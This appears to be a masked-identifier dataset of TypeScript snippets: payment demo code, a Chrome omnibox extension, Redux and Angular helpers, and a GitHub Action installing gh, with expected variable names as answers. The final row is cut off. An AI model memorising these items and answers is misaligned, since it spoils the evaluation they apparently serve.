  const  [MASK]  = Math.ceil(words / wordsPerMinute);
  
  return `${ [MASK] } min read`;
} ",minutes
594,"import { Body, Config, Inject, Post, Provide } from '@midwayjs/decorator';
import {
  CoolController,
  BaseController,
  CoolWxPayConfig,
  CoolAliPayConfig,
} from '@cool-midway/core';
import { CoolAliPay, CoolWxPay } from '@cool-midway/pay';
// @ts-ignore
import AlipayFormData from 'alipay-sdk/lib/form';
// @ts-ignore
import { sign } from 'alipay-sdk/lib/util';

/**
 * 微信支付
 */
@Provide()
@CoolController()
export class AppDemoPayController extends BaseController {
  // 微信支付
  @Inject()
  wxPay: CoolWxPay;

  // 支付宝支付
  @Inject()
  aliPay: CoolAliPay;

  @Inject()
  ctx;

  @Config('cool.pay.wx')
  wxPayConfig: CoolWxPayConfig;

  @Config('cool.pay.ali')
  aliPayConfig: CoolAliPayConfig;

  /**
   * 微信扫码支付
   */
  @Post('/wx')
  async wx() {
    const orderNum = await this.wxPay.createOrderNum();
    const params = {
      description: '测试',
      out_trade_no: orderNum,
      notify_url: this.wxPayConfig.notify_url,
      amount: {
        total: 1,
      },
      scene_info: {
        payer_client_ip: 'ip',
      },
    };
    const result = await this.wxPay.getInstance().transactions_native(params);
    return this.ok(result);
  }

  /**
   * 微信支付回调通知
   */
  @Post('/wxNotify')
  async wxNotify(@Body() body) {
    const check = await this.wxPay.signVerify(this.ctx);
    // 验签通过，处理业务逻辑
    if (check) {
    }
  }

  /**
   * 支付宝PC网站支付
   * @returns
   */
  @Post('/aliPc')
  async aliPc() {
    const orderNum = await this.aliPay.createOrderNum();
    const formData = new AlipayFormData();
    // 调用 setMethod 并传入 get，会返回可以跳转到支付页面的 url
    formData.setMethod('get');
    formData.addField('notifyUrl', this.aliPayConfig.notifyUrl);
    formData.addField('bizContent', {
      outTradeNo: orderNum,
      productCode: 'FAST_INSTANT_TRADE_PAY',
      totalAmount: '0.01',
      subject: '商品',
      body: '商品详情',
    });
    // 返回支付链接
    const result = await this.aliPay
      .getInstance()
      .exec('alipay.trade.page.pay', {}, { formData });
    return this.ok(result);
  }

  /**
   * 支付宝APP支付
   * @returns
   */
  @Post('/aliApp')
  async aliApp() {
    const orderNum = await this.aliPay.createOrderNum();

    // 返回支付链接
    const data = sign(
      'alipay.trade.app.pay',
      {
        notifyUrl: this.aliPayConfig.notifyUrl,
        bizContent: {
          subject: '商品标题',
          totalAmount: '0.01',
          outTradeNo: orderNum,
          productCode: 'QUICK_MSECURITY_PAY',
        },
      },
      this.aliPay.getInstance().config
    );
    const  [MASK]  = new URLSearchParams(data).toString();
    return this.ok( [MASK] );
  }

  /**
   * 支付宝支付回调通知
   */
  @Post('/aliNotify')
  async aliNotify(@Body() body) {
    const { ciphertext, associated_data, nonce } = body.resource;
    // 解密数据
    const data = this.wxPay
      .getInstance()
      .decipher_gcm(ciphertext, associated_data, nonce);
    console.log(data);
    const check = await this.aliPay.signVerify(body);
    // 验签通过，处理业务逻辑
    if (check) {
    }
    return 'success';
  }
}
",payInfo
595,"/*
   Copyright 2016 CIL (<NAME>)

   Licensed under the Apache License, Version 2.0 (the ""License"");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an ""AS IS"" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
*/

/// <reference path=""../../typings/index.d.ts"" />

let async = require('async');
let _ = require('lodash');
let nerdamer = require('nerdamer');
let clipboard = require('clipboard-js');
let loremIpsum = require('lorem-ipsum');
//let convertPinyin = require('convertPinyin');
function i18n (name: string) { return chrome.i18n.getMessage(name); }

namespace Omnibox {
    chrome.omnibox.onInputChanged.addListener(inputChanged);
    chrome.omnibox.onInputEntered.addListener(inputAccepeted);
    chrome.omnibox.onInputCancelled.addListener(inputCancelled);

    let providers: providerItem[] = [];

    interface providerInfo {
        key: string,
        format?: {'reg': RegExp, 'info': string},
        description: string,
        input?: (content: string, suggest: (suggesResults: chrome.omnibox.SuggestResult[]) => void) => void,
        accept: (content?: string) => void,
        extensionId?: string
    }
    export function register(info: providerInfo) {
        providers.push(new providerItem(info));
    }
    export function deregister(id: string) {
        for (let provider of providers) {
            if (provider.extensionId) {
                if (provider.extensionId === id) provider._();
            }
        }
    }
    
    class providerItem {
        public key: string;
        public format?: {'reg': RegExp, 'info': string};
        public description: string;
        public input?: (content: string, suggest: (suggesResults: chrome.omnibox.SuggestResult[]) => void) => void;
        public accept: (content?: string) => void;
        public extensionId?: string;
        //misc functions and properties
        misc: any;
        
        constructor(info: providerInfo) {
            this.key = info.key;
            this.format = info.format ? info.format : null;
            this.description = info.description;
            this.input = info.input ? info.input : null;
            this.accept = info.accept;
            this.extensionId = info.extensionId ? info.extensionId : null;

            this.misc = {
                urlReg: /[-a-zA-Z0-9@:%_\+.~#?&//=]{2,256}\.[a-z]{2,4}\b(\/[-a-zA-Z0-9@:%_\+.~#?&//=]*)?/gi,
                encodeXml (str: string) {
                    let holder = document.createElement('div');
                    holder.textContent = str;
                    return holder.innerHTML;
                }
            }
        }

        search(data: any[], input: string, searchKeys: string[], suggestKeys: string[], callback: (response: chrome.omnibox.SuggestResult[]) => void, condition?: any[]) {
            let response: chrome.omnibox.SuggestResult[] = new Array();
            let self = this;
            data.forEach((item: any, index: number) => {
                let searchSample = '';
                let conditionMet = condition ? condition[1].includes(item[condition[0]]) : true;
                async.series([
                    function(cb: any) {
                        for(let i = 0, l = searchKeys.length; i < l; i++) {
                            let s: string = item[searchKeys[i]].toLowerCase();
                            searchSample += s + Pinyin.convert(s);
                            if(i === l - 1) cb();
                        }
                    },
                    function(cb: any) {
                        if (searchSample.includes(input) && conditionMet) response.push({ content: `${self.key } ${self.misc.encodeXml(item[suggestKeys[0]])}`, description: `${self.misc.encodeXml(item[suggestKeys[1]])}`});
                        if (index === data.length - 1 || response.length > 4) {
                            if (response.length === 0) response = [{ content: `${self.key } `, description: 'No matching result found'}];
                            callback(response);
                        }
                    }
                ])
            })
        }

        form(data: any[], suggestKeys: string[], callback: (response: chrome.omnibox.SuggestResult[]) => void) {
            let response = new Array();
            let self = this;
            data.length === 0 ? callback([{ content: `${self.key } `, description: 'No matching result found'}]) : data.forEach((item: any, index: number) => {
                response.push({ content: `${self.key } ${item[suggestKeys[0]]}`, description: `${self.misc.encodeXml(item[suggestKeys[1]])}`})
                if (index === data.length - 1)  callback(response);
            })
        }

        extract(content: string) {
            return content.replace(new RegExp('^\\s*'+ this.key + '\\b\\s*', 'i'), '');
            //return new RegExp('^\\s*'+ this.key + '\\b\\s*(\\.*)$', 'i').exec(content);
        }

        localize(type: 'des' | 'info') {
            return i18n(`key_${type}_${this.key.replace(' ', '_')}`);
        }

        _() {
            delete this;
        }
    }

    //omni input changed
    function inputChanged(text: string, suggest: (suggesResults: chrome.omnibox.SuggestResult[]) => void) {
        async.series([
            //got an exact key match
            function(cb: any) {
                let match = false;
                providers.forEach(function(provider: providerItem, index: number) {
                    if (text.includes(provider.key) && text.match(provider.key).index === 0) {
                    //if (new RegExp('^\\s*'+ this.key + '\\b\\s*', 'i').test(text)) {
                        match = true;
                        if (provider.input) provider.input(provider.extract(text), suggest);
                        else if (provider.format) {
                            if (!provider.format.reg.test(provider.extract(text))) suggest([{content: `${provider.key} `, description: `Correct format: {${provider.format.info}}`}]);
                            else suggest([{content: `${provider.key} `, description: provider.description}]);
                        } else suggest([{content: `${provider.key} `, description: provider.description}]);
                    } else {
                        if (index === providers.length - 1 && !match) {
                            cb();
                        }
                    }
                })
            },
            //find a possible key match
            function(cb: any) {
                let match = false;
                providers.forEach(function(provider, index) {
                    if (provider.key.includes(text) || provider.description.includes(text)) {
                        match = true;
                        suggest([{ content: provider.key, description: provider.description}]);
                    } else {
                        if (index === providers.length - 1 && !match) {
                            cb();
                        }
                    }
                })
            },
            //suggest a keys list
            function(cb: any) {
                let allCommands = new Array();
                providers.forEach(function(provider, index) {
                    allCommands.push({content: provider.key, description: provider.description});
                    if (index === providers.length - 1) {
                        suggest(allCommands);
                    }
                })
            }
        ])
    }
    //user accpeted suggestion
    function inputAccepeted(text: string) {
        //console.log('inputEntered: ' + text);
        let match = false;
        providers.forEach(function(provider, index) {
            if (text.includes(provider.key) && text.match(provider.key).index === 0) {
                match = true;
                if (provider.format) {
                    provider.format.reg.test(provider.extract(text)) ? provider.accept(provider.extract(text)) : Notification.error('Incorrect format', `Please use this format:\n{${provider.format}}`);
                } else provider.accept(provider.extract(text));
            } else {
                if (index === providers.length - 1 && !match) {
                    //let t = self.misc.encodeXml(text);
                    //window.open('https://www.google.com/webhp?hl=en&q=' + t + '#newwindow=1&hl=en&q=' + t);
                    Notification.send(""Sorry"", ""I can't understand that yet."", 'confuse');
                }
            }
        });
    }
    //user cancelled the session
    function inputCancelled() {
        
    }
}

namespace Notification {
    export function send(title?: string, message?: string, icon?: string, progress?: number, id?: string) {
        chrome.notifications.create(id ? id : 'id', {
            type: progress ? 'progress' : 'basic',
            iconUrl: icon ? `/img/notifications/icon_${icon}.png` : '/img/icons/icon_128.png',
            title: title ? title : ' ',
            message: message ? message : ' ',
            progress: progress ? progress : null
        }, id => { });
    }

    export function log(title?: string, message?: string) {
        send(title, message, 'log');
    }

    export function error(title?: string, message?: string) {
        send(title, message, 'error');
    }

    export function warning(title?: string, message?: string) {
        send(title, message, 'warning');
    }

    export function debug(title?: string, message?: string) {
        send(title, message, 'debug');
    }

    export function done(title?: string, message?: string) {
        send(title, message, 'done');
    }
}

namespace Messaging {
    chrome.runtime.onMessage.addListener(onMessage);

    interface registerMessage {
        goal: string,
        key?: string,
        format?: { reg: RegExp, info: string },
        description?: string
    }
    function onMessage(message: registerMessage, sender: chrome.runtime.MessageSender, sendResponse: (response: any) => void) {
        if (sender.id) {
            Management.validateId(sender.id, (valid, info) => {
                if (valid && /register|unregister/.test(message.goal)) {
                    switch (message.goal) {
                        case 'register':
                            try {
                                Omnibox.register({
                                    key: `/${message.key}`,
                                    format: message.format ? message.format : null,
                                    description: message.description,
                                    extensionId: sender.id,
                                    input: message.format ? null : function(content, suggest) {
                                        let self = this;
                                        send(self.extensionId, {
                                            from: 'omniPlus',
                                            type: 'input',
                                            content: content
                                        }, (response: chrome.omnibox.SuggestResult[]) => {
                                            suggest(response);
                                        })
                                    },
                                    accept (content) {
                                        let self = this;

                                        interface accpetResponse {
                                            error?: string
                                        }
                                        send(self.extensionId, {
                                            from: 'omniPlus',
                                            type: 'accept',
                                            content: content
                                        }, (response: accpetResponse) => {
                                            if (response.error) Notification.error('External command error', `Details: ${response.error}`);
                                        })
                                    }
                                });
                                sendResponse({ success: true });
                            } catch (e) {
                                sendResponse({ success: false, error: e ? e : 'Provider register failed.' });
                            }
                            break;
                        case 'deregister':
                            Omnibox.deregister(sender.id);
                            break;
                    }
                }
            })
        }
    }
    
    export function send(id: string, message: any, callback?: (reponse: any) => void) {
        chrome.runtime.sendMessage(id, message, (response: any) => {
            if (callback) callback(response);
        });
    }
}

namespace Management {
    let selfId: string;
    chrome.management.getSelf((info: chrome.management.ExtensionInfo) => { selfId = info.id });

    //listening unintsall and disable events to deregister any provider if apply
    chrome.management.onUninstalled.addListener(id => { Omnibox.deregister(id) });
    chrome.management.onDisabled.addListener(info => { Omnibox.deregister(info.id) });
    //query all extensions for possible command register
    chrome.management.getAll((result: chrome.management.ExtensionInfo[]) => {
        for (let info of result) {
            if (info.enabled) Messaging.send(info.id, { goal: 'omniPlusQuery' });
        }
    });

    //validate an id
    export function validateId(id: string, callback: (valid: boolean, info?: chrome.management.ExtensionInfo) => void) {
        chrome.management.get(id, (result: chrome.management.ExtensionInfo) => {
            result ? callback(true, result) : callback(false, null);
        })
    }

    //launch an app
    Omnibox.register({
        key: 'ext launch',
        description: 'Launch an app',
        input (content, suggest) {
            let self = this;
            chrome.management.getAll((result: chrome.management.ExtensionInfo[]) => {
                self.search(result, content, ['name', 'shortName', 'description'], ['id', 'name'], (response: any) => {
                    suggest(response);
                }, ['type', [""hosted_app"", ""packaged_app"", ""legacy_packaged_app""]]);
            });
        },
        accept (id) {
            validateId(id, (valid, info) => {
                if (valid) {
                    info.enabled ? chrome.management.launchApp(id, function() { }) : Notification.error(`App disabled`, `Please enable the app and try again.`);
                } else Notification.error(`Invalid id`, `Please provide a valid app id`);
            });
        }
    });

    //toggle an exntension's enabled state
    Omnibox.register({
        key: 'ext toggle',
        description: ""Toggle an extension's enable state"",
        input (content, suggest) {
            let self = this;
            chrome.management.getAll((result: chrome.management.ExtensionInfo[]) => {
                self.search(result, content, ['name', 'shortName', 'description'], ['id', 'name'], (response: any) => {
                    suggest(response);
                }, ['type', [""extension"", ""hosted_app"", ""packaged_app"", ""legacy_packaged_app"", ""theme""]]);
            });
        },
        accept (id) {
            validateId(id, (valid, info) => {
                if (valid) {
                    selfId === id ? Notification.warning(""Can't disable myself"", ""If you want to disable Omni Plus, please head to extensions page and disable it manually"") : chrome.management.get(id, (info: chrome.management.ExtensionInfo) => {
                        Notification.send(`${info.enabled ? ""Disabled"" : ""Enabled""}`, `${info.name}`, 'extension');
                        chrome.management.setEnabled(id, !info.enabled);
                    });
                } else Notification.error(`Invalid id`, `Please provide a valid extension id`);
            });
        }
    });
}

namespace BrowserBasic {
    //Bookmark
    //delete bookmark
    Omnibox.register({
        key: 'bookmark delete',
        description: 'Delete a specific bookmark',
        input (content, suggest) {
            let self = this;
            if (content !== '' && content.length > 1) {
                chrome.bookmarks.search(self.misc.encodeXml(content), (results: chrome.bookmarks.BookmarkTreeNode[]) => {
                    self.form(results, ['id', 'title'], (response: any) => {
                        suggest(response);
                    });
                });
            } else suggest([{ content: `${self.key} `, description: `Type more to begin search`}]);
        },
        accept (content) {
            let self = this;
            chrome.bookmarks.get(content, (r: chrome.bookmarks.BookmarkTreeNode[]) => {
                if (r) chrome.bookmarks.remove(content, () => { Notification.send('Bookmark removed', `${self.misc.encodeXml(r[0].title)}`, 'bookmark')});
                else Notification.error('No matching id', 'The provided bookmark id is invalid');
            })
        }
    });

    //History
    //delete all history of given url
    Omnibox.register({
        key: 'history delete',
        description: 'Delete all history of given url',
        input (content, suggest) {
            let self = this;
            if (content !== '' && content.length > 1) {
                chrome.history.search({
                    text: self.misc.encodeXml(content),
                    maxResults: 5
                }, (results: chrome.history.HistoryItem[]) => {
                    self.form(results, ['url', 'title'], (response: any) => {
                        suggest(response);
                    });
                })
            } else suggest([{ content: `${self.key} `, description: `Type more to begin search`}]);
        },
        accept (content) {
            let self = this;
            if (self.misc.urlReg.test(content)) {
                chrome.history.deleteUrl({url: content}, () => {
                    Notification.send(`Deletion complete`, `All histories that matche ${content} were deleted.`, 'history');
                })
            } else Notification.error(`Invalid url`, `Please provide valid url for the operation.`)
        }
    });

    //open one of the top sites
    Omnibox.register({
        key: 'top',
        description: 'Open one of your top visited sites',
        input (content, suggest) {
            let self = this;
            chrome.topSites.get((data: Array<chrome.topSites.MostVisitedURL>) => {
                if (content !== '') {
                    self.search(data, content, ['title', 'url'], ['url', 'title'], (response: any[]) => {
                        suggest(response);
                    });
                } else {
                    self.form(data, ['url', 'title'], (response: any) => {
                        suggest(response);
                    });
                }
            })
        },
        accept (content) {
            let self = this;
            content.replace(' ', '');
            if (self.misc.urlReg.test(content)) window.open(content);
            else Notification.error('Invalid url', 'Please double check provoded url');
        }
    });

    //Tabs
    //go to an open tab
    Omnibox.register({
        key: 'tab goto',
        description: 'Go to another opened tab',
        input (content, suggest) {
            let self = this;
            if (content.length > 0) {
                chrome.tabs.query({}, (tabs: chrome.tabs.Tab[]) => {
                    self.search(tabs, content, ['title', 'url'], ['id', 'title'], (response: any[]) => {
                        suggest(response);
                    });
                })
            } else suggest([{ content: `${self.key} `, description: `Type more to begin search`}]);
        },
        accept (content) {
            try {
                let id = parseInt(content);
                chrome.tabs.get(id, (tab: chrome.tabs.Tab) => {
                    tab ? chrome.tabs.update(id, { active: true }) : Notification.error(`Invalid Tab id`);
                });
            } catch (e) {
                Notification.error(`Invalid Tab id`, `I couldn't find a tab with id ${content}.`);
            }
        }
    });

    //EXPERIMENT
    //@credit: https://fossbytes.com/complete-list-of-secret-chrome-urls-uses/
    let chromeUrls = require('../js/data/chromeUrls.json');
    //Chrome urls
    Omnibox.register({
        key: 'chrome url',
        description: ""Copy the Chrome url you're looking for"",
        input (content, suggest) {
            let self = this;
            self.search(chromeUrls, content, ['url', 'description'], ['url', 'description'], (response: any[]) => {
                suggest(response);
            });
        },
        accept (content) {
            clipboard.copy(content);
            Notification.log(content, 'Copied to clipboard');
        }
    })
}

namespace Time {
    Omnibox.register({
        key: 'reminder after',
        format: { reg: /^([1-9]|[1-9]\d+)\s*([sm])\s*(.*)?$/i, info: 'count(>0) unit(s: seconds, m: minutes) content?' },
        description: 'Set a reminder after some time with optional text content',
        accept (content) {
            let self = this;
            let exec = self.format.reg.exec(content);
            let count = parseFloat(exec[1]);
            let unit = exec[2];
            let text = exec[3] ? exec[3] : `Your ${exec[1]+exec[1]} reminder.`;
            setTimeout(() => {
                Notification.send('Reminder', text, 'reminder');
            }, 1000 * (unit === 's' ? count : count * 60));
            //console.log(self.reg.exec(content));
        }
    })
}

namespace Misc {
    //display system memory capacity
    Omnibox.register({
        key: 'memory',
        description: 'Current system memory usage information',
        accept (content) {
            let self = this;
            chrome.system.memory.getInfo((info: chrome.system.memory.MemoryInfo) => {
                let left = parseFloat((info.availableCapacity/1024/1024/1024).toFixed(2));
                let total = Math.round(info.capacity/1024/1024/1024);
                Notification.send(
                    `${left}GB left`,
                    `Total of ${total}GB system memory.\nFor more acurate info, please check out system activity monitor or any utility app.`,
                    'memory',
                    Math.round(100 - (left * 100 / total)));
            })
        }
    })

    //download and save as
    Omnibox.register({
        key: 'download to',
        description: 'Donwload and save file to...',
        input (content, suggest) {
            let self = this;
            if (!self.misc.urlReg.test(content))
                suggest([{ content: `${this.key} http`, description: 'Please provide a valid url'}]);
        },
        accept (content) {
            let self = this;
            if (self.misc.urlReg.test(content)) {
            let self = this;
                chrome.downloads.download({ url: content, saveAs: true });
            } else Notification.error(`No valid url found`, `Please provide a valid url address to begin a new download.`);
        }
    });

    //toggle downloads shelf
    Omnibox.register({
        key: 'download shelf hide',
        description: 'Hide downloads shelf',
        accept (content) {
            chrome.downloads.setShelfEnabled(false);
            Notification.send('Shelf hided', 'Now the shelf is gone, enjoy your bigger tab space.', 'download');
        }
    })
    Omnibox.register({
        key: 'download shelf show',
        description: 'Show downloads shelf',
        accept (content) {
            try {
                chrome.downloads.setShelfEnabled(true);
                Notification.send('Shelf is back', ""Notice: If it's not showing, this setting might be overrided by other extensions."", 'download');
            } catch (e) {
                console.log(e);
                Notification.error('Operation failed', 'Another exntension might made shelf invisible, please turn that off and try again.');
            }
        }
    })

    //Text related
    //read text
    Omnibox.register({
        key: 'text read',
        description: 'Read text using browser text to speak engine',
        input (content, suggest) {
            if (content.length > 32768) suggest([{ content: `${this.key} `, description: 'Maximum length exceeded, please simplify the text'}]);
        },
        accept (content) {
            if (content.length > 32768) Notification.error('Maximum length exceeded', 'Please consider simplify the text');
            else chrome.tts.speak(content, {
                enqueue: false,
                gender: 'female'
            }, () => { })
        }
    });

    //clear your clipboard
    Omnibox.register({
        key: 'clipboard clear',
        description: 'Clear your clipboard',
        accept (content) {
            clipboard.copy('');
            Notification.send('Clip board cleared', null, 'clipboard');
        }
    })

    //generate random dummy text
    Omnibox.register({
        key: 'text random',
        format: { reg: /^([1-9]|\[1-9]\d+)\s*([wsp])\s*$/i, info: 'count(>0) unit(w: words, s: sentences, p: paragraphs)' },
        description: 'Generate random lorem-ipsum text',
        accept (content) {
            let self = this;
            //dictionary of all units
            interface unitsDict {
                [key: string]: string
            };
            let unitsDict: unitsDict = {
                w: 'words',
                s: 'sentences',
                p: 'paragraphs'
            };

            let exec = self.format.reg.exec(content);
            let count: number = parseInt(exec[1]);
            let unit: string = unitsDict[exec[2]]
            clipboard.copy(loremIpsum({ count: count, units: unit }));
            Notification.send('Random text generated', `Generated ${count} ${unit}.\nCopied to your clipboard`, 'random-text');
        }
    });

    //Math stuff
    //caculate math expression
    Omnibox.register({
        key: 'calculate',
        format: { reg: /^(?:\d+\s*[/\+\-\*\(\)\^])+\s*(?:\d+)\)*\s*$/, info: 'basic math expression with +-*/^() operators' },
        description: 'Calculate a math expression',
        accept (content) {
            try {
                content.replace(/\s*/g, '');
                let expression = nerdamer(content);
                let result = expression.evaluate().text();
                Notification.send(result, `Is the result of ${content}\nCopied to your clipboard.`, 'calculate');
                clipboard.copy(result);
            } catch (e) {
                Notification.error(`Unable to calculate ${content}`, `Details: ${e ? e : 'Invalid expression.'}`);
            }
        }
    });

    //solve math equation
    /*Omnibox.register({
        key: 'solve',
        description: 'Solve a math equation',
        input (equation: string, suggest: any) {
            if (!equation.includes(' '))
                suggest([{ content: `${this.key} equation x`, description: 'Please use space to seperate the equation and variable'}]);
        },
        accept(content: string) {
            try {
                let parts = content.split(' ');
                let sol = nerdamer.solveEquations(parts[0], parts[1]);
                window.alert(sol);
            } catch (e) {
                console.log(e);
            }
        }
    })*/
}

/*
@credit: tosone
@github: https://github.com/tosone/convertPinyin
Modification made
*/
namespace Pinyin {
    let pinyinData = require('../js/data/convertPinyin.json');

    export function convert(str: string, join?: string) {
        let  [MASK]  = join ? join : '';
        if (str.match(/[\u3400-\u9FBF]/)) {
            let cn = str.replace(/[^\u4e00-\u9fa5]/gi,"""");
            return get(cn).join( [MASK] );
        } else return str
    }

    export function get(str: string) {
        this.isZh = false;
        let ret = new Array();
        let reg = new RegExp('[a-zA-Z0-9\- ]');
        if (str && str.length !== 0) {
        _.forEach(str, (val: any) => {
            if (reg.test(val)) {
            if (ret.length !== 0 && !this.isZh) {
                ret.push(ret.pop() + val);
            } else {
                this.isZh = false;
                ret.push(val);
            }
            } else {
            let name = search(val);
            if (name) {
                this.isZh = true;
                ret.push(name);
            }
            }
        });
        }
        return ret;
    }

    function search(str: string) {
        let once = true;
        let ret: any = null;
        _.forEach(pinyinData, (val: any, key: any) => {
        if (once && val.indexOf(str) !== -1) {
            once = false;
            ret = key;
        }
        });
        return ret;
    }
}",joint
596,"import {AnyAction} from 'redux';

export interface State<T> {
	[key: string]: T;
}

export type ItemReducer<T> = (state: T | undefined, action: AnyAction, id: string) => T | undefined;
export type GetId<T> = (action: AnyAction, state: State<T>) => string | undefined;

export function byId<T>(getId: GetId<T>, itemReducer: ItemReducer<T>) {
	return function reducer(state: State<T> = {}, action: AnyAction) {
		const id = getId(action, state);
		if (id) {
			const {[id]: itemState, ...newState} = state;
			const newItemState = itemReducer(itemState, action, id);
			if (newItemState === itemState) {
				// Nothing has changed, return the original state
				return state;
			}

			// Something has changed, we need the new state.
			if (newItemState !== undefined) {
				newState[id] = newItemState;
			}
			return newState;
		}

		return state;
	};
}

/**
 * Compose multiple item reducers into a single item reducer.
 *
 * @param itemReducers the reducers to compose
 */
export function compose<T>(...itemReducers: ItemReducer<T>[]): ItemReducer<T> {
	return (state, action, id) => itemReducers.reduce(( [MASK] , reducer) => reducer( [MASK] , action, id), state);
}
",agg
597,"import { Component, OnInit, ViewChild, AfterViewInit } from ""@angular/core"";
import { CdkVirtualScrollViewport } from ""@angular/cdk/scrolling"";
import { Image, toImageList } from ""../../image"";
import { HttpService } from ""../http.service"";

import { Throttler } from ""src/throttler"";

const MIN_ITEM_HEIGHT = 300; // in pixel
const IMAGE_NOT_LOADED = ""../assets/img/img_not_loaded.png"";

@Component({
  selector: ""app-image-scroll"",
  templateUrl: ""./image-scroll.component.html"",
  styleUrls: [""./image-scroll.component.css""],
})
export class ImageScrollComponent implements OnInit, AfterViewInit {
  readonly LIMIT: number = 10;
  itemHeight: number = this.calcItemHeight();
  images: Image[] = [];
  currPage: number = 0;
  throttler: Throttler = new Throttler();
  private isThrottlerEnabled: boolean = true;

  @ViewChild(""virtualScroll"", { static: true })
  virtualScroll: CdkVirtualScrollViewport;

  constructor(private http: HttpService) {}

  ngAfterViewInit(): void {
    this.virtualScroll.renderedRangeStream.subscribe(
      this.throttler.scrollThrottleObserver()
    );
  }

  ngOnInit() {
    // use pagination instead of fetching all images
    //   console.log(""Item Height:"", this.itemHeight);
    //   this.fetchAllImageUrls();
    this.nextPage();
  }

  private fetchAllImageUrls(): void {
    this.http.allImageModels().subscribe({
      next: (v) => {
        this.images = toImageList(v);
      },
    });
  }

  private fetchImageUrlsByPage(limit: number, page: number): void {
    this.http.imageModelsOf(page, limit).subscribe({
      next: (v) => {
        this.images = toImageList(v);
        this.currPage = page;
      },
    });
  }

  get(imageUrl: string): string {
    if (this.throttler.shouldThrottle() && this.isThrottlerEnabled) {
      return IMAGE_NOT_LOADED;
    }
    return imageUrl;
  }

  private calcItemHeight(): number {
    let  [MASK]  = Math.floor(window.innerHeight * 0.75);
    return  [MASK]  < MIN_ITEM_HEIGHT ? MIN_ITEM_HEIGHT :  [MASK] ;
  }

  nextPage(): void {
    this.fetchImageUrlsByPage(this.LIMIT, this.currPage + 1);
  }

  lastPage(): void {
    if (this.currPage == 1) {
      return;
    }
    this.fetchImageUrlsByPage(this.LIMIT, this.currPage - 1);
  }
}
",height
598,"import * as core from '@actions/core';
import {getExecOutput} from '@actions/exec';
import * as tools from '@actions/tool-cache';
import * as github from '@actions/github';
import * as path from 'path';
import {Octokit} from '@octokit/rest';
import {clean as semver_clean, compare as semver_compare} from 'semver';
import * as os from 'os';
import * as fs from ""fs"";

class RequestedVersion {
    private static isStable(version: string): boolean {
        return version === 'stable';
    }

    private static isLatest(version: string): boolean {
        return version === 'latest';
    }

    readonly semverVersion: string | null;
    constructor(public inputVersion: string) {
        if (RequestedVersion.isStable(inputVersion) || RequestedVersion.isLatest(inputVersion)) {
            this.semverVersion = null;
            return;
        }
        const v = semver_clean(this.inputVersion);
        if (!v) throw new Error(`Invalid version: ${this.inputVersion}`);
        this.semverVersion = v;
    }

    get isStable(): boolean {
        return RequestedVersion.isStable(this.inputVersion);
    }

    get isLatest(): boolean {
        return RequestedVersion.isLatest(this.inputVersion);
    }

    get tagName(): string {
        if (this.isStable || this.isLatest || !this.semverVersion) {
            throw new Error(`Cannot get tag name for ${this.inputVersion}`);
        }
        return `v${this.semverVersion}`;
    }
}

interface IInstalledVersion {
    version: string;
    path: string;
}

interface IReleaseAsset {
    name: string;
    url: string;
    browser_download_url: string;
}

interface IRelease {
    tag_name: string;
    assets: IReleaseAsset[];
}

const osPlat= (() => {
    switch (os.platform()) {
        case 'linux': return 'linux';
        case 'darwin': return 'macOS';
        case 'win32': return 'windows';
        default: throw new Error(`Unsupported platform: ${os.platform()}`);
    }
})();
const osArch = (() => {
    const arch = os.arch();
    return (arch === 'x64') ? 'amd64' : arch;
})();
const toolName = 'gh-cli';
const execName = osPlat === 'windows' ? 'gh.exe' : 'gh';
const assetExtension = osPlat === 'windows' ? 'zip' : 'tar.gz';

async function setAndCheckOutput(installedVersion: IInstalledVersion) {
    await core.group('Checking installation', async () => {
        if (core.isDebug()) {
            core.debug(`Installed version: ${installedVersion.version}`);
            core.debug(`Installed path: ${installedVersion.path}`);
            core.debug('Contents of path:');
            core.debug(`${fs.readdirSync(installedVersion.path).join('\n')}`);
        }
        core.addPath(path.join(installedVersion.path, 'bin'));
        const  [MASK]  = await getExecOutput(execName, ['version']);
        if ( [MASK] .stdout.indexOf(installedVersion.version) < 0)
            throw new Error(`gh version ${installedVersion.version} not found in output: ${ [MASK] .stdout}`);
        core.setOutput('installed-version', installedVersion.version);
    });
}

async function findMatchingRelease(version: RequestedVersion, token: string | null): Promise<IRelease> {
    let octokit: Octokit;
    if (token) {
        octokit = github.getOctokit(token) as unknown as Octokit;
    } else {
        octokit = new Octokit();
    }

    const baseParams = {
        owner: 'cli',
        repo: 'cli',
    };
    if (version.isStable) {
        const latestRelease = await octokit.rest.repos.getLatestRelease(baseParams);
        return latestRelease.data;
    } else if (version.isLatest) {
        const releasesResp = await octokit.rest.repos.listReleases({
            ...baseParams,
            per_page: 100,
        });
        const releases = releasesResp.data.filter(r => !!semver_clean(r.tag_name));
        if (releases.length <= 0)
            throw new Error('Could not find a valid release!');
        releases.sort((l, r) => semver_compare(semver_clean(r.tag_name)!, semver_clean(l.tag_name)!));
        return releases[0];
    } else {
        const release = await octokit.rest.repos.getReleaseByTag({
            ...baseParams,
            tag: version.tagName,
        });
        return release.data;
    }
}

async function install(asset: IReleaseAsset, version: string): Promise<IInstalledVersion> {
    const downloadedPath = await tools.downloadTool(asset.browser_download_url);
    let extractedPath: string;
    if (assetExtension === 'zip') {
        extractedPath = await tools.extractZip(downloadedPath);
    } else {
        extractedPath = await tools.extractTar(downloadedPath);
        extractedPath = path.join(extractedPath, path.basename(asset.name, `.${assetExtension}`));
    }
    const cachedPath = await tools.cacheDir(extractedPath, execName, toolName, version);
    return {version, path: cachedPath};
}

function checkCache(version: string): IInstalledVersion | null {
    const semverVersion = semver_clean(version);
    if (!semverVersion) throw new Error(`Invalid version: ${version}`);
    const cachedVersion = tools.find(toolName, semverVersion);
    if (cachedVersion) {
        core.info('Found cached version.');
        return {version: semverVersion, path: cachedVersion};
    }
    return null;
}

async function main() {
    core.startGroup('Validate input');
    const version = new RequestedVersion(core.getInput('version', {required: true}));
    const ghToken = core.getInput('github-token');
    core.endGroup();

    let installedVersion = await core.group('Checking cache', async () => {
        if (!version.isStable && !version.isLatest) {
            return checkCache(version.tagName);
        }
        return null;
    });
    if (installedVersion) return await setAndCheckOutput(installedVersion);

    let release: IRelease;
    installedVersion = await core.group('Fetching release', async () => {
        release = await findMatchingRelease(version, ghToken);
        return checkCache(release.tag_name);
    });
